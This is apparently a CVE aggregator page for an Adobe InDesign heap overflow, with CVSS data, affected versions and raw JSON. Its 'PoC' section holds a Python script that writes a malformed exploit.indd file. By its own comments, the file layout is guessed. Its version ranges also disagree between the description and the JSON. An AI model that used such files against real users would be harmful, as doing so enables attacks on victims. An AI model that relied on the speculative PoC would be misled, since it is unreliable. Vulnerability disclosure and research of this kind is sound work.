Security Vulnerability Report
中文
CVE-2026-27286 CVSS 5.5 MEDIUM

CVE-2026-27286

Published: 2026-04-14 17:16:48
Last Modified: 2026-04-16 15:33:03

Description

InDesign Desktop versions 20.5.2, 21.2 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could lead to memory exposure. An attacker could leverage this vulnerability to disclose sensitive information stored in memory. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:adobe:indesign:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:adobe:indesign:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Adobe InDesign Desktop <= 20.5.2
Adobe InDesign Desktop <= 21.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # This is a conceptual PoC for CVE-2026-27286 # It generates a malformed file structure to trigger the heap overflow. def create_malicious_file(filename): # Header for an InDesign file (simplified for demonstration) header = b"\x06\x06\xED\xF5" # Example magic bytes # Padding or specific structure fields padding = b"\x00" * 0x10 # Malicious payload: A long string to trigger the heap overflow # Assuming the vulnerability is triggered by a specific tag or length field overflow_trigger = struct.pack(">I", 0xFFFFFFFF) # Invalid large length payload = b"A" * 0x1000 # Large data block to overflow the buffer with open(filename, "wb") as f: f.write(header + padding + overflow_trigger + payload) print(f"[+] Malicious file '{filename}' created.") if __name__ == "__main__": create_malicious_file("exploit.indd")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27286", "sourceIdentifier": "[email protected]", "published": "2026-04-14T17:16:48.357", "lastModified": "2026-04-16T15:33:03.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "InDesign Desktop versions 20.5.2, 21.2 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could lead to memory exposure. An attacker could leverage this vulnerability to disclose sensitive information stored in memory. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:indesign:*:*:*:*:*:*:*:*", "versionEndExcluding": "20.5.3", "matchCriteriaId": "5644C156-EB3C-4F24-A9E8-ABB5EA61F2A9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:indesign:*:*:*:*:*:*:*:*", "versionStartIncluding": "21.0", "versionEndIncluding": "21.3", "matchCriteriaId": "61EA99EF-00B9-45F9-B4D2-2A3E48B475C9"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/indesign/apsb26-32.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}